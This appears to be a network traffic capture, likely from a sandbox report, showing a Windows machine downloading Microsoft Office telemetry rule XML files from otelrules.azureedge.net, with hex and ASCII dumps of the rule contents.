2024-11-18 03:41:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034121Z-16547b76f7fbkfmzhC1DFWm9tw00000004sg00000000qyg7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:21 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034121Z-1866b5c5fbb2ngs6hC1DFW402w00000003hg000000003cte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:21 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:21 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0ff73494-201e-0085-1d7b-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034121Z-164f84587bf7jb9dhC1DFWkay400000004zg000000002dc0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:21 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a1cedf95-b01e-003d-7f9b-38d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034121Z-1866b5c5fbb2cz68hC1DFW9ytc00000004c0000000002auv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:21 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: fd06302c-e01e-0052-3f7f-38d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034121Z-1866b5c5fbb2ngs6hC1DFW402w00000003eg00000000cvb1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:22 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034122Z-16547b76f7fr5rfnhC1DFW0am400000002s0000000007p8s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:22 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034122Z-16547b76f7fmcv27hC1DFWgpcg00000003y000000000q2a7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:22 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034122Z-16547b76f7ftfv4jhC1DFWuhug00000002wg000000005u9a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:22 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034122Z-1866b5c5fbblmztchC1DFWs6v400000003v0000000007705 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:22 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034122Z-16547b76f7f9s8x7hC1DFWywrg000000051g000000009r59 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49793	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 03:41:23 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=219841 Date: Mon, 18 Nov 2024 03:41:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:23 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:23 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 642e1ba1-501e-00a0-3cb8-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034123Z-164f84587bf28gjzhC1DFW35kg000000056g0000000095gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 03:41:23 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:23 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:23 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034123Z-16547b76f7fgvq8chC1DFWhd2w00000005tg00000000e6eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
